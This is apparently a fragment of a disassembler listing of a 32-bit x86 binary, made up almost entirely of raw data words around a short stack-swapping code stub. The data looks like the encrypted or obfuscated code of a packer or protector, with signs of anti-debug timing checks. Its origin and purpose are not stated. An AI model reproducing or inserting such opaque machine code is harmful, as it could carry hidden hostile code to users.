		dd 8614869Fh, 8D41A85Bh, 0D259C006h, 574A8D89h,	2C777A49h
		dd 0A920845Ah, 47EB43A5h, 0C13DA6FAh, 402F555Ch, 9EE0F3B4h
		dd 275B2F76h, 850EB81Bh, 0D603D5B0h, 0ED31D725h, 9764FD5Bh
		dd 0C6A4F0D3h, 4F76266h, 8050393Dh, 6FCEAA59h, 0EBC102E4h
		dd 4E38B115h, 0C4A25188h, 299F8799h, 1460ED4Fh,	78D2D6B6h
		dd 0F7DE35F5h, 4CC5A147h, 0A65ABFAh, 0D34FB5DCh, 0F2AB99Fh
		dd 79000000h, 0B5903E9Fh, 0E5721264h, 0B0B399E0h, 1FC4B43Fh
		dd 0E0441AECh, 5C3F9169h, 0DBBD13D7h, 583E9056h, 0DDB315D5h
		dd 29309650h, 0D3AA6CDAh, 3028EE58h, 683A79C1h,	1E23h
		dd 51243489h, 0C181E189h, 4, 8704E983h,	895C240Ch, 0A068241Ch
		dd 89000014h, 0EC81242Ch, 4, 0BE243489h, 19F214FCh, 1EAD8BBBh
		dd 5EF32920h, 242C8B54h, 5204C483h, 868h, 0EA015A00h, 8B5A1A89h
		dd 8951242Ch, 4C181E1h,	81000000h, 4C1h, 240C8700h, 241C8B5Ch
		dd 81E18951h, 4C1h, 4C18100h, 87000000h, 0E95C240Ch, 0FFFCDF90h
		dd 8E516FD8h, 8A521152h, 9D8FB817h, 0C503062Ch,	0F3D9E0FFh
		dd 9BBF71A6h, 9D8B04B2h, 768C3140h, 0B0ED607Fh,	0D13163B1h
		dd 42835EDh, 0FB4A0D9Bh, 0E93E5D26h, 47740BDFh,	2A3F749Ch
		dd 0B82E6DEDh, 6E6D7150h, 1A7A0BE9h, 99FE5039h,	21526082h
		dd 0EE135E1h, 7F4305A3h, 0D1F37F9Dh, 6B594780h,	0D1757BBBh
		dd 0D6AE1405h, 39BA398Fh, 2F084E9Dh, 0D0812E40h, 203C5956h
		dd 0EF8204E0h, 6B1456E6h, 0B04538D4h, 6088183Dh, 8E905EEh
		dd 52000001h, 971BE458h, 838A055Ch, 1D76A188h, 0DD7A0E0Ah
		dd 3733538Fh, 557D2F6Dh, 7F2D773Dh, 7DD77DD5h, 6DF73D57h
		dd 73D575DFh, 3D577DD7h, 0D55FEDF7h, 37335375h,	557D2F6Dh
		dd 7F2D773Dh, 7DD77DD5h, 6D171E57h, 602075DFh, 20206020h
		dd 2060E0E0h, 0F77B68ACh, 20A1E4A9h, 0A693B2D0h, 0B99DB7EDh
		dd 0ACA3F291h, 60206020h, 20206020h, 2060E0E0h,	0A335375h
		dd 557D2F0Dh, 60206020h, 0A7286020h, 50F0362Bh,	0B6F360C9h
		dd 0F796A1EFh, 0E3A7B4E0h, 0F47192B8h, 6DB9E9B3h, 602060F7h
		dd 60206020h, 6DF72020h, 73351ADFh, 3D577DD7h, 0D55FEDF7h
		dd 37335375h, 557D2F6Dh, 7F2D773Dh, 7DD77DD5h, 6DF73D57h
		dd 73D575DFh, 3D577DD7h, 0D55FEDF7h, 37335375h,	357D2F6Dh
		dd 0E0A1Eh, 0D25D3407h,	1E59A0A3h, 8 dup(0)
		dd 0E9000000h, 0C72h, 2CA24C68h, 0DDEAE906h, 3168FFFCh
		dd 0E9062CA3h, 0FFFCDDE0h, 2CA40568h, 0DDD6E906h, 0F868FFFCh
		dd 0E9062CA4h, 0FFFCDDCCh, 2CA56968h, 0DDC2E906h, 0F768FFFCh
		dd 0E9062CA5h, 0FFFCDDB8h, 2CA73C68h, 0DDAEE906h, 2C68FFFCh
		dd 0E9062CA8h, 0FFFCDDA4h, 2CA8FA68h, 0DD9AE906h, 9368FFFCh
		dd 0E9062CA9h, 0FFFCDD90h, 2CAA8F68h, 0DD86E906h, 5D2FFFCh
		dd 0B6A244F6h, 94719747h, 2039DF1Fh, 278563D3h,	0E0F8A8AAh
		dd 230BD13h, 4F8F02E4h,	9145CEA9h, 0DC1E9777h, 8AED2978h
		dd 777A404Eh, 8963355Eh, 4B3F3004h, 85F35A45h, 7C5888A2h
		dd 0F3B73E9Eh, 0E2BBBB1Dh, 42B09169h, 806C5CF1h, 56CB7D8h
		dd 1509AFA5h, 0FF0CD5A3h, 1EFCD80Bh, 0E50737BEh, 70A68F34h
		dd 7A455096h, 0F6A81E01h, 0B95F9F16h, 0B39254DDh, 69CB2C6Ah
		dd 6D368695h, 69AB0B0Fh, 7BC18695h, 8F4B2DA3h, 7D5B887Eh
		dd 84B63F9Fh, 96268A62h, 169B790Bh, 8E0D7350h, 9555BCB5h
		dd 14D25B33h, 6BDD4107h, 7E5EA325h, 0A4F0A252h,	86EF66C6h
		dd 0A3D75832h, 86956C50h, 818FD6B9h, 0CD84495Dh, 5C11764h
		dd 0B4C19252h, 53DA874h, 4B850000h, 97830AEDh, 806CEF24h
		dd 0CFBB828Dh, 7AD2B084h, 0F55137F3h, 9941177Ch, 67B59E68h
		dd 2F9405E7h, 0BDF6D0C6h, 42167A45h, 0CD0B61ECh, 6E06DCFh
		dd 0E004E2CDh, 86961E93h, 0CEA8A80Eh, 45ACE743h, 0C04D23E5h
		dd 4AB9A066h, 70C658FEh, 0F69484F1h, 88CF51B8h,	0A7080E57h
		dd 128696E0h, 11152B01h, 0F001D9BFh, 0A8FFDD36h, 74B2F148h
		dd 38E2h, 59C04B00h, 78A089D2h,	20C7B240h, 0FE0FCB52h
		dd 0A4F0DB08h, 45384264h, 0D9226D7Ah, 393182F0h, 0F7988695h
		dd 5EDDD1A1h, 6E869538h, 42A234EAh, 0F874B49Dh,	0F6h, 0E960C475h
		dd 9EF3011h, 0C4723D0h,	6CEEA90Ah, 2B821080h, 0A28DC6A0h
		dd 9F12F056h, 0C6296DB6h, 33806CEEh, 0E2A41460h, 6127830Ah
		dd 0A7CE0C85h, 0CFA77D1h, 1D9671C7h, 0ED2BFB3Fh, 5034806Ch
		dd 1BF315D9h, 0B3FDD492h, 9CE0E1Bh, 0FF59BFE9h,	63B4911Ah
		dd 5158E63Dh, 8BE1E87Dh, 46762397h, 0BA838C7Ah,	0A2F67DDEh
		dd 6AD148AAh, 9CF03801h, 86A3EB33h, 0A8B5F5C3h,	3E80721Ah
		dd 704EA1D5h, 0E8BB8CC2h, 0E0CD568Ch, 0EB195CB8h, 8F68FC45h
		dd 661A204h, 9254A7B2h,	210A5BB1h, 9C78F557h, 9DF6B03Bh
		dd 0F67BD9BFh, 41CCA244h, 5D456ABCh, 0FCC3C7ADh, 91Eh
		dd 0B2A05388h, 0F97D8C54h, 135BE1Fh, 45897AE7h,	9240CDA3h
		dd 5B3906C2h, 288264D6h, 0F457B1A5h, 0BD19FF7Fh, 0C3A20634h
		dd 404C64D7h, 0DB04D7Ah, 6BEB66C4h, 0B2A0298Dh,	119A7DDBh
		dd 59C0083Bh, 8F7754F7h, 0ACF75867h, 340F5347h,	5AB87A45h
		dd 0B1A80CFFh, 468F7B42h, 0D7931AF2h, 34BF18FCh, 3453A0E0h
		dd 0FD9B8695h, 0A247A929h, 357B74B4h, 7948F1F9h, 289DFBBDh
		dd 0A2h, 0E960C405h, 54D9BF11h,	9A4DB392h, 2193C53Ah, 0FDADEDCBh
		dd 0DA806C32h, 0AD4B8B02h, 24E640C9h, 0B1E5CE75h, 7A45093Dh
		dd 1C75F9AAh, 0B7F700ECh, 0DA3E2A28h, 0C9129900h, 3CB710E0h
		dd 1CEAD8D8h, 0CFCD8071h, 0F0BCC169h, 2A1E9CEBh, 2236DDC3h
		dd 2D8E8961h, 0B91FF9C2h, 2E00634h, 0D48E7E8Fh,	1F93AD5Eh
		dd 83948h, 9D6EF500h, 52A3BF59h, 2CA706E0h, 0E211C82Eh
		dd 0BD309670h, 2CF1E9B9h, 0F513C34Eh, 0BA5C9E13h, 0EE86AE1h
		dd 933727AEh, 4B73C432h, 475E7A40h, 0EB66C43Ch,	0A0298D6Bh
		dd 454B39B2h, 0BCD2F72h, 8765B3BFh, 0F345AE27h,	0F0409419h
		dd 0EE37BE1Eh, 0CE1E9185h, 988B806Ch, 0BB23B8BCh, 952D940h
		dd 45B5050Dh, 0E1BB1D7Ah, 0E437BD49h, 0E93060AAh, 0E1CA5583h
		dd 0D93FB417h, 6C02519h, 0FC9D38CDh, 318A6EB7h,	0B187CCBAh
		dd 5470265Ch, 78A07F36h, 0F155DAB2h, 5F458E78h,	5CB8055Ah
		dd 6F2D9D86h, 0D32401AAh, 5129A205h, 67E22672h,	4A85628Bh
		dd 3384F2DBh, 9E91B301h, 13285F5h, 0F49F91B3h, 14F040ADh
		dd 0DFBF599Dh, 0D0DDD556h, 0CEC4A86Ch, 765F9h, 0E91AC100h
		dd 0A6578365h, 70FB52B4h, 0CE3D24C2h, 9914EA0Ch, 0CD0555h
		dd 0C92F2FA2h, 9670E26Fh, 5ABCBE35h, 6FCB0B82h,	4A9F1006h
		dd 6B0A7A40h, 0E960C4C0h, 0FC7FBB8Ch, 0E5806CEEh, 30EA5EBAh
		dd 90F9C269h, 8FED64C0h, 45D1578Bh, 0DF1F007Ah,	0A1D55C3Dh
		dd 86960E4Eh, 0A481E8BBh, 7271397Eh, 5046AF80h,	8CC2ADDFh
		dd 0E57359CAh, 270851BAh, 0C2AD80F3h, 3DB6118Ch, 59CA064Dh
		dd 0B0399D73h, 9806482h, 7D8C542Ch, 8E72468Dh, 9DE64DCCh
		dd 1FEB603Bh, 0A48DE034h, 9BF178DCh, 9F0FAD67h,	0DA3ED86h
		dd 58DB1846h, 622D2B01h, 4B7C1719h, 0A56747C7h,	0EF15FE71h
		dd 51B8EB92h, 0DFC12A7Bh, 0AE9C6D51h, 9A785C7Ch, 0EC67C6C2h
		dd 6CEEC91Ah, 0CFBB328Ah, 0DE278C0Dh, 0C7E3DAD8h, 2EC6CA8Ch
		dd 410A99A7h, 0D5BEA4F0h, 6F46050h, 0A5D51A1h, 672h, 66D4273Ch
		dd 0A5A95880h, 0ED61EA43h, 393DCE0Bh, 46F479DFh, 9775BA16h
		dd 5C3ED81Ah, 20FB1DD1h, 0E94DABABh, 7F56F260h,	404AB83Bh
		dd 0F90C217Ah, 33F759C0h, 881868Dh, 0EE371C67h,	0DD3BB20Ah
		dd 4917BBDDh, 52BBE47Ah, 0AFAF2686h, 8264ED49h,	81EA51C8h
		dd 0FEDA2B37h, 373F6397h, 0AA688072h, 0A2E159D4h, 5DBCAA5Bh
		dd 21E5AD5Dh, 6019Eh, 45B6AD00h, 1AEB7791h, 0D45F3ED8h
		dd 0AA598066h, 65E84EA8h, 0E429A1F1h, 0AD4B8B06h, 729446CBh
		dd 0C6201299h, 0CB6FEF66h, 4A3BBCFAh, 8FA67A40h, 0D259C064h
		dd 8D0A089h, 821D5DDCh,	8AD5490Fh, 3C456AAEh, 3B647A49h
		dd 2FA606D2h, 3D95DAC6h, 0FDD66FB6h, 0DDB95F9Fh, 61389254h
		dd 0CB85F1DAh, 348075D9h, 0D6B6026Bh, 22F69F5Fh, 62EF4D4Bh
		dd 10644F84h, 9753DAB2h, 0F6DF6435h, 9EEFB280h,	0F90A1586h
		dd 0A73090F3h, 73E7C83Eh, 33000005h, 8167D724h,	4CAAA859h
		dd 16F062E9h, 0DC3A38CBh, 1343F37Eh, 19946AB7h,	0D45933D5h
		dd 0AC278066h, 65EC48AEh, 67C55F1h, 7A4049B5h, 0C4FA011Ch
		dd 0BAC4CC60h, 2786DF0Bh, 11788951h, 9E17F7A9h,	50DBBE5Ch
		dd 8B56220Bh, 321C1C78h, 9D7A45A6h, 83F034F2h, 4B869606h
		dd 17D959CDh, 0D374B3CCh, 4Eh, 2C6FB6FAh, 0E25C9D8h, 0AC3B2728h
		dd 553BA6Dh, 0BED4BCAh,	0F679BD86h, 0E3806CEEh,	178264B0h
		dd 14F147ACh, 9CF82B9Fh, 0EF2145B1h, 0C54E7A45h, 0DFDB2C65h
		dd 8695EF5Ch, 0BAFEDA45h, 8695F03Dh, 83130BB1h,	74B3E661h
		dd 0DF99h, 60C45200h, 0D9BF11E9h, 8CF25571h, 3C60549Ah
		dd 25A15D5h, 0A11960E9h, 93693860h, 8DE18AAEh, 63BD5152h
		dd 54A08BC4h, 2B9F16F6h, 0D83D9175h, 0C20D6F38h, 0ECA8AAF5h
		dd 806C923Eh, 0EF34BD19h, 0D725AE09h, 9C15F117h, 2A9702Ah
		dd 8BDDFD39h, 0A3757A45h, 0AEE545B6h, 0A4DE5145h, 58CB8695h
		dd 0B9BDE67Ch, 1EF8BE5Bh, 95FCD793h, 0FBF44A48h, 6DDB8070h
		dd 0B2103929h, 14184B3Fh, 351CCF8Eh, 27AA08E8h,	0FE73D137h
		dd 5E535D4Dh, 95E54ADh,	42Eh, 0A29063F8h, 0E96D9C44h, 3125AE0Fh
		dd 75F90AD7h, 82B03D93h, 4B29F6D2h, 18F214C6h, 0E447A195h
		dd 0AD09EF6Fh, 33923624h, 404774C7h, 3D405D7Ah,	6BEB66C4h
		dd 50801E02h, 754C4A73h, 79AA1CEDh, 6F9EBA1Eh, 8E6C489Bh
		dd 3CB7A72Eh, 0FE5F59C0h, 0D5C12A75h, 7A45EE91h, 9195553Eh
		dd 8695EF22h, 7EF82EAAh
		dd 74B3E776h, 66954C14h, 0F5B53892h, 0BCF3BA9Eh, 78000000h
		dd 11E960C4h, 0F54D9BFh, 0C3350401h, 0FC58052Ah, 0F545931Eh
		dd 10C26C9Ch, 0F9457D4Dh, 33CF9F93h, 2C88806Ch,	0F757B1A5h
		dd 47D2887Eh, 301BE871h, 2DAFAFEBh, 4FD07A45h, 7AC6D8Fh
		dd 0FFE5A3Eh, 210C68BBh, 70A0F0F5h, 191D6680h, 8CC0ED96h
		dd 1EC41003h, 0B2AC9550h, 13783CCAh, 0C04A94E7h, 0CB127D8Ch
		dd 3DB016E2h, 0F479DF39h, 5F86C977h, 0D5258ADh,	33Eh, 528073E8h
		dd 995DACB4h, 21159E7Fh, 65E91AC7h, 0B2A02D83h,	0BB19E6E2h
		dd 8E20436h, 0D4B75185h, 9D799F5Fh, 23822614h, 404684F7h
		dd 2D506D7Ah, 6BEB66C4h, 0B2A0298Dh, 3384F2DBh,	9E806CEFh
		dd 0C4ACA7F5h, 4CAFEB60h, 0B5806CEFh, 612783EAh, 0F9270C85h
		dd 0B7D2384Fh, 9F5FBD65h, 0B861DC04h, 0E6EC2A73h, 0C97A44DBh
		dd 1F972CBh, 3B7FFBC2h,	0E28A1924h, 8B7AE6B2h, 0E54ECBADh
		dd 149B798h, 9F8E4052h,	0BE8080D4h, 2924A3DEh, 1B131D66h
		dd 0CD4026CAh, 3EEA167Dh, 68F0448Ah, 96E22199h,	0B215E322h
		dd 1E024139h, 8DFC583Bh, 67C1177Fh, 0F62C09B2h,	2AD0145Bh
		dd 2888D5BEh, 0F711C54Ch, 0E96D9E17h, 4802FF48h, 2707D42h
		dd 213E0000h, 5A8660D2h, 0E84DABABh, 0CC15F363h, 7BD93F3Fh
		dd 0BC1444F6h, 0DE1C9177h, 63D35E38h, 0A5A92285h, 0F062EB43h
		dd 0B6397D54h, 237A4046h, 60C4FB02h, 7FBB8CE9h,	806CEEFCh
		dd 0DD5637E5h, 0F9DF266Dh, 0F0C65309h, 0FB289E15h, 134F4B90h
		dd 0BC7A45BDh, 0A6F863D3h, 0A8F53EDBh, 6F08646Ah, 1ED84B80h
		dd 3D4E915Ah, 6ED54401h, 91391105h, 0F59E4326h,	79C25735h
		dd 0CC6BE61Ch, 0C54E4952h, 35BC18F8h, 0AB07E701h, 30846999h
		dd 3ACB120Ah, 0E47BED7Ah, 0D7DCE327h, 57000001h, 1DFB7B88h
		dd 0E00634C5h, 0AA4C8E05h, 789E5CAFh, 7727179Ah, 0BD30965Bh
		dd 70FD5FB9h, 0C84324C2h, 8108EC0Ah, 9A98E94Dh,	7A404619h
		dd 4B46ED80h, 292FFE45h, 8A729DEFh, 6FF43891h, 6290FD5Fh
		dd 806C2E11h, 0E34197F8h, 22D30F0Bh, 42240F44h,	7BFC3A03h
		dd 66806C2Dh, 9C7DDF3Dh, 13E5CE17h, 0A0E034B9h,	7A452AFAh
		dd 3182F09Dh, 98869534h, 0EA8489F7h, 0EEB89873h, 5A3E5787h
		dd 0F5210A81h, 86954882h, 0FD0246Fh, 0EBD6DA32h, 6C582CE6h
		dd 0B80E8767h, 5234006Bh, 0E3177CC7h, 806E07EBh, 0FE9743CCh
		dd 7BCF3E1Ah, 8BCCCC28h, 4A04F0CFh, 1B1F64CFh, 3F8A0D33h
		dd 7EA28B94h, 16D2B2Ah,	0F3479525h, 0D23B8019h,	0B65029A4h
		dd 0E0167F45h, 5206C48Fh, 9743297Ah, 75438066h,	765FA4EFh
		dd 2938F60Ah, 66B255B0h, 0A9AD2480h, 0C566EF4Fh, 0E819AD1Dh
		dd 0DBB90E84h, 4B000000h, 19FF7F8Ch, 0E40230C1h, 0AE488A01h
		dd 749240B3h, 8BDB1B96h, 0A12C824Fh, 7CF14BADh,	34BF18FEh
		dd 8D04E006h, 9E84ED49h, 7A40451Dh, 0C442E984h,	0BB11E960h
		dd 0F37ED8DEh, 0A8F5DC37h, 45D9086Ah, 9D18007Ah, 232C6A8Fh
		dd 9F805EBAh, 57DCBD5Fh, 0AC44080Eh, 0F8AB8072h, 0EB60C593h
		dd 0CD43D8Dh, 0E4525D4h, 79F0542Ah, 32BB13F5h, 749E3074h
		dd 5FFD9FFBh, 971EFEC7h, 0B1E5CEA7h, 0AA8BDD3Eh, 3E9CF8ABh
		dd 3213D75Eh, 0DD4AADE9h, 0ECB7AA8Bh, 0DC2F2A88h, 0CE4321F7h
		dd 7DCD2B78h, 3D061800h, 2D8BD059h, 6FDDC348h, 9BF1BA32h
		dd 4C252177h, 96BA12F4h, 5D7694Bh, 4220745Fh, 810CEEEAh
		dd 0F5A6EA39h, 0F4524E41h, 0EEF14990h, 0Ah, 0FED4B47h
		dd 89EF2482h, 1FC4A5D0h, 0E0441AECh, 5C3F9169h,	0DBBD13D7h
		dd 583E9056h, 0DDB315D5h, 29309650h, 0D3AA6CDAh, 3028EE58h
		dd 573A79C1h, 0C781E789h, 4, 4BB53h, 0DF290000h, 243C875Bh
		dd 0E189515Ch, 4C181h, 0E9830000h, 240C8704h, 240C895Ch
		dd 271A68h, 24348900h, 12B95150h, 8142023Dh, 2A6304C1h
		dd 59C889C4h, 5458C189h, 8124348Bh, 4C4h, 0C8895000h, 8B084689h
		dd 0C4812404h, 4
		db 8Bh,	34h, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		jmp	loc_54F76C
; ---------------------------------------------------------------------------
		db 0C1h
		dd 0B500C90Bh, 0A26B41F8h, 0CE3D1FADh, 8FB8903Eh, 3062CABh
		dd 0CAE0FFC5h, 74089553h, 2B698323h, 8E223C3Eh,	4187F54h
		dd 0BB38D527h, 0A61D697Eh, 63040B2Ch, 1A265108h, 0A9217698h
		dd 6D5150EEh, 0BB1AB9F9h, 0A91738DBh, 0EC3B9223h, 0A60E1778h
		dd 0DE0C73DBh, 3A261EB5h, 6A20FE29h, 0DB4FB5CDh, 6801E0ECh
		dd 3F0E8882h, 0E87AF64Eh, 10h, 0BD41D2F0h, 6E54E442h, 0AFBA5F4Ch
		dd 0E14FE3BBh, 0CE9h, 158DB700h, 62D885A5h, 42112224h
		dd 0BBB15EF0h, 625FC681h, 0BF600000h, 0C4CC371h, 0D23361F9h
		dd 0EE9h, 8381F900h, 0FAF7CF2Bh, 7A2BD0EFh, 0FF84E00Ch
		dd 0EF803234h, 850F588Fh, 3, 81CAB70Fh,	0F3D5BDC0h, 10E910h
		dd 0D3870000h, 6C948130h, 0BB236411h, 821231B7h, 0F081219Ah
		dd 26996E3Eh, 128E0Fh, 0DE90000h, 0DA000000h, 6A72ACA6h
		dd 3AD7E3C3h, 1DD1FA39h, 0B685E881h, 80502EE0h,	895B81E5h
		dd 0EE81604h, 7000000h,	0A6B74A13h, 0EE205067h,	0BF92DF56h
		dd 0CFBF0FCAh, 83EFB35Bh, 0CB8002EAh, 814A4AB5h, 129658CFh
		dd 94FA811Bh, 0FFFFF9Eh, 0FFFF7685h, 10E8FFh, 0AA4C0000h
		dd 75403175h, 3E7AAD5Fh, 3DEE69A4h, 0BE9FC47h, 51000000h
		dd 0E9B68D7h, 657914C6h, 0EB5FE8E8h, 251C8F4Fh,	0A108ABFAh
		dd 0A4ACDAC6h, 5CD2D41Ch, 0CE00E45Ch, 1BF53134h, 29B327CEh
		dd 0DD5B34D1h, 17E62AC7h, 34DF1BCEh, 0A6DB67h, 477D60h
		dd 0D5A3EA1Ah, 0
		dd 0FECA199Ch, 0FE4A0000h, 0FBh, 52DDB487h, 9ED92023h
		dd 77E7339Ch, 127DE9h, 52006A00h, 3E8h,	0C35A2000h, 2454895Ah
		dd 24448104h, 1604h, 0C3524200h, 52EB7584h, 0BD8359FCh
		dd 6291A29h, 61850F00h,	6A000000h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1D042444h, 40000000h, 0B090C350h
		dd 0B237CD36h, 7A7F319Ah, 2A81958Bh, 0B80629h, 0C2000000h
		dd 6A0004h, 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h
		dd 50400000h, 2D126AC3h, 26DB581Dh, 0F5E3C5Dh, 38Dh, 0FA8B6600h
		dd 6AC08Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h
		dd 57470000h, 26D940C3h, 0B5339C73h, 0F88B6629h, 309DBD83h
		dd 75000629h, 75BD8309h, 62900h, 53501374h, 0D0B8C08Bh
		dd 8D000004h, 2BA8769Dh, 5BD3FF06h, 75BD8358h, 62900h
		dd 53501174h, 4D0B8h, 0C39D8D00h, 0FF062BA7h, 6A585BD3h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 16042444h
		dd 43000000h, 30B7C353h, 998D8945h, 8B062911h, 57006AC0h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1704h, 0C3574700h
		dd 9C58C8E1h, 5A53B966h, 8DFEE980h, 2CADB885h, 0DE806h
		dd 18960000h, 7B163B93h, 0E8ACA4D3h, 0F4E84E9h,	58Ch, 0EBEFBA00h
		dd 50594FE3h, 5AFB8B53h, 6A240489h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 15042444h, 43000000h, 24CC353h
		dd 858DFB8Bh, 62CAD75h,	0E9525050h, 6, 0A21E157Ch, 310FFEA2h
		dd 6CBA5250h, 0F089A1Ah, 0D78B6631h, 585A585Ah,	6A240489h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1B042444h
		dd 41000000h, 0C33FC351h, 8DB49C66h, 4BBAB6A4h,	0B544CA05h
		dd 8195FF95h, 33062929h, 292A398Dh, 24448B06h, 598D8B04h
		dd 89062911h, 2CADA085h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1D04h, 0C3574700h, 527555DAh, 4EE7CD66h
		dd 0BF0FCB31h, 51BD29D6h, 8B06292Eh, 6A082444h,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 19042444h, 47000000h
		dd 9159C357h, 9B7D2B59h, 0FCD8589h, 8E80629h, 33000000h
		dd 1A1EFD62h, 8B0B6CA6h, 293229BDh, 85895A06h, 62CADB4h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 18h, 1AC35646h
		dd 7244D3Ch, 751BD83h, 0F000629h, 0B985h, 50006A00h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1A04h, 0C3504000h
		dd 23013B74h, 29025906h, 29125DB5h, 5985C606h, 4706291Bh
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 66C35343h
		dd 8B6664C5h, 0AD1368CBh, 8B0FBBA6h, 0Eh, 0F525060h, 50585A31h
		dd 5A310F52h, 4816158h,	0F3FABF24h, 56006A18h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1604h,	0C3564600h, 0FF815A0Ah
		dd 291A99B5h, 8DEA8A06h, 2C7BD285h, 39C18006h, 6E19589h
		dd 0D0FF0629h, 0FFD958Bh, 85890629h, 6290751h, 29858D33h
		dd 0BD830629h, 6292015h, 86850F00h, 29000000h, 2911458Dh
		dd 5985C606h, 4706291Bh, 14E9h,	0D3743200h, 98FA768Fh
		dd 0E1140ED9h, 56E474EDh, 8EB7A245h, 7C0168D8h,	0BA6684BFh
		dd 4815648h, 5039E124h,	38B0F05h, 66000000h, 0B5FFD78Bh
		dd 6291A99h, 3081BD8Bh,	858D0629h, 62C7BD2h, 0D3BF0F57h
		dd 0BFD0FF5Fh, 4F645DEFh, 20158589h, 6A0629h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 180424h, 52420000h, 89187CC3h
		dd 0E6809F0Fh, 0F9BD8393h, 62908h, 80850Fh, 0B5890000h
		dd 6292F65h, 1B5985C6h,	89560629h, 29064595h, 4E806h, 6D390000h
		dd 0BA66D41Fh, 56505C10h, 24448B5Ah, 4860F04h, 66000000h
		dd 8BD5B1BFh, 6850F00h,	60000000h, 5A565953h, 24448961h
		dd 81665804h, 0FF07DBE2h, 291A99B5h, 0CE906h, 8DF30000h
		dd 7B63FDF9h, 236BFEEh,	858D0888h, 62C7BD2h, 1BB18531h
		dd 0D0FF0629h, 455BD8Bh, 85890629h, 62908F9h, 7C58529h
		dd 85C60629h, 6291B59h,	52006A6Ch, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1504h, 0C3524200h, 860FB144h, 5, 593496BAh
		dd 5E818h, 52D00000h, 89D2E1B3h, 291B61B5h, 7685906h, 0B9D193EDh
		dd 3D56D984h, 84243481h, 0B90A969Dh, 634AC50Eh,	2639B5FFh
		dd 0B5310629h, 62911F9h, 3B72858Dh, 6A0629h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 160424h, 50400000h, 6BBAE3C3h
		dd 6E9h, 59E36D00h, 0E90ED305h,	0Fh, 0DC42058Eh, 0F22429Bh
		dd 0B73336BEh, 0FFE0C819h, 53006AD0h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1404h,	0C3534300h, 0A4858909h
		dd 80062CADh, 0BD8332C2h, 62CADC0h, 0E2850F00h,	8B000000h
		dd 5985C6FBh, 4906291Bh, 0E852006Ah, 3,	5AC35A20h, 4245489h
		dd 4244481h, 19h, 0CBC35242h, 0CFFFD56Dh, 0C8C0F7Bh, 0F000000h
		dd 688h, 0B5BD8B00h, 68062927h,	9365C655h, 0BC243481h
		dd 6A1F70EFh, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 15042444h, 41000000h, 343C351h, 34A5BD8Bh, 0B5FF0629h
		dd 6292639h, 0DE8h, 68C60A00h, 6CAD7160h, 4D0EB058h, 66600ECEh
		dd 8B0FDE8Bh, 0
		dd 858D5A61h, 6293B72h,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Bh, 7AC35242h, 3211B28Ch,	0F8645F36h, 6AD0FFh
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 160424h, 50400000h
		dd 0BA7F71C3h, 0ADC08589h, 0BF0F062Ch, 0F046AFEh, 789h
		dd 81665700h, 595521E1h, 4E8h, 100000h,	0FB8B5000h, 424448Bh
		dd 0FDB05CBAh, 0E8008B7Ah, 14h,	0EAA4411Bh, 7EB556D4h
		dd 52B6CE25h, 0BCDA8EE9h, 9606167Ch, 0F2C1B960h, 0F9BF09F7h
		dd 613613BDh, 2444895Fh, 6BF6604h, 6A58EAh, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1D0424h, 50400000h, 9AB084C3h
		dd 0A480A937h, 89A2513Bh, 292DD98Dh, 0E9816606h, 1683D65h
		dd 0E8E7E06Eh, 0Ch, 9E0DA12Fh, 0BEEB5738h, 0DBA0217Ah
		dd 815FCE8Ah, 91FF2404h, 0B5891820h, 6291159h, 6A006Ah
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h
		dd 1B45F9C3h, 9B6B68C7h, 81BD8B23h, 8B062906h, 2906458Dh
		dd 2D95FF06h, 6A06290Eh, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 19042444h, 40000000h, 0E7A5C350h,	0E82245D6h
		dd 0ADB08589h, 0CE9062Ch, 7F000000h, 0CD08D6F0h, 0A21102C9h
		dd 0C7C5C18Bh, 2CADA885h, 6, 58A0F00h, 66000000h, 9E97C981h
		dd 840F006Ah, 2, 4E8FFB6h, 0
		dd 60000100h, 60B5FA8Ah, 8B665061h, 24448BCAh, 89008B04h
		dd 53042444h, 0FA53B966h, 0E8505859h, 0Dh, 1066BF1Eh, 150BED0Eh
		dd 4B8F5ED3h, 0E9525054h, 12h, 1C9553A1h, 62483482h, 1E76BBB4h
		dd 8406A45Dh, 310F8F2Dh, 0FE9h,	61F50300h, 123514B2h, 9097385Eh
		dd 0C48CD458h, 895F585Ah, 0B5012404h, 6292059h,	6A0B6Ah
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h
		dd 116F18C3h, 0B9663065h, 5FB9C342h, 8D6305B6h,	2CAD7D85h
		dd 51006A06h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1C04h
		dd 0C3514100h, 0B8E31673h, 0EE097B14h, 0B1B9609Dh, 2379C68Ah
		dd 2923DD9Dh, 8A906106h, 606050D5h, 800F5A57h, 0
		dd 0B3525061h, 5A310F3Ah, 6A906158h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 16042444h, 41000000h, 0E0D4C351h
		dd 0DE8FCh, 350E0000h, 23E5EBD4h, 3E478F0Ah, 0F05D4EFh
